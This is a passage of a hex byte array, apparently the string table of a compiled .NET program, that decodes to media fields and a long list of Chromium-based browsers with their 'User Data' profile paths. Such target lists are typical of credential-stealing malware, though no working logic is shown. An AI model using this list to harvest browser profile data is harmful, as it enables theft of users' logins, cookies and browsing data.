0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x73, 0x00, 0x00, 0x0D, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x0B, 0x74, 0x00, 0x69, 0x00, 0x74, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x0D, 0x61, 0x00, 0x72, 0x00, 0x74, 0x00, 0x69, 0x00, 0x73, 0x00, 0x74, 0x00, 0x00, 0x0B, 0x61, 0x00, 0x6C, 0x00, 0x62, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x19, 0x73, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x74, 0x00, 0x69, 0x00, 0x74, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x01, 0x00, 0x03, 0x30, 0x00, 0x00, 0x03, 0x48, 0x00, 0x00, 0x11, 0x20, 0x00, 0x73, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x73, 0x00, 0x00, 0x13, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x00, 0x03, 0x5C, 0x00, 0x00, 0x0F, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x31, 0x5C, 0x00, 0x47, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x41, 0x00, 0x56, 0x00, 0x47, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2D, 0x5C, 0x00, 0x41, 0x00, 0x56, 0x00, 0x47, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x00, 0x21, 0x5C, 0x00, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x29, 0x5C, 0x00, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x00, 0x43, 0x5C, 0x00, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x00, 0x27, 0x5C, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x00, 0x37, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x0D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x00, 0x3D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x5C, 0x00, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x23, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x6F, 0x00, 0x00, 0x41, 0x4D, 0x00, 0x61, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x53, 0x00, 0x74, 0x00, 0x75, 0x00, 0x64, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x50, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x7C, 0x00, 0x20, 0x00, 0x53, 0x00, 0x52, 0x00, 0x57, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x20, 0x00, 0x49, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x1F, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x4B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x01, 0x1F, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x5C, 0x00, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x47, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x00, 0x1F, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x00, 0x1F, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x00, 0x21, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x00, 0x31, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x35, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x29, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x3D, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x23, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x00, 0x33, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x00, 0x31, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x00, 0x23, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x36, 0x00, 0x00, 0x67, 0x46, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x72, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x35, 0x00, 0x5C, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x5C, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x56, 0x00, 0x69, 0x00, 0x65, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x47, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x70, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x4C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x21, 0x6C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x00, 0x25, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x31, 0x4D, 0x00, 0x69, 0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x00, 0xE3, 0x8C, 0xDF, 0xFA, 0xE9, 0xA6, 0x0A, 0x45, 0xB3, 0x12, 0xEA, 0xBA, 0x71, 0x8D, 0x4C, 0x16, 0x00, 0x04, 0x20, 0x01, 0x01, 0x08, 0x03, 0x20, 0x00, 0x01, 0x05, 0x20, 0x01, 0x01, 0x11, 0x11, 0x04, 0x20, 0x01, 0x01, 0x0E, 0x12, 0x07, 0x04, 0x15, 0x12, 0x1D, 0x01, 0x1D, 0x1C, 0x15, 0x11, 0x21, 0x01, 0x12, 0x2C, 0x12, 0x2C, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x08, 0x20, 0x00, 0x15, 0x11, 0x21, 0x01, 0x13, 0x00, 0x06, 0x15, 0x11, 0x21, 0x01, 0x12, 0x2C, 0x04, 0x20, 0x00, 0x13, 0x00, 0x05, 0x20, 0x01, 0x01, 0x13, 0x00, 0x03, 0x20, 0x00, 0x02, 0x03, 0x07, 0x01, 0x0E, 0x07, 0x00, 0x02, 0x01, 0x12, 0x4D, 0x11, 0x51, 0x04, 0x00, 0x01, 0x02, 0x0E, 0x0C, 0x00, 0x06, 0x01, 0x08, 0x0E, 0x11, 0x5D, 0x11, 0x61, 0x11, 0x65, 0x08, 0x04, 0x00, 0x01, 0x0A, 0x08, 0x04, 0x00, 0x01, 0x0E, 0x08, 0x08, 0x00, 0x04, 0x01, 0x08, 0x10, 0x0E, 0x0A, 0x02, 0x05, 0x00, 0x01, 0x01, 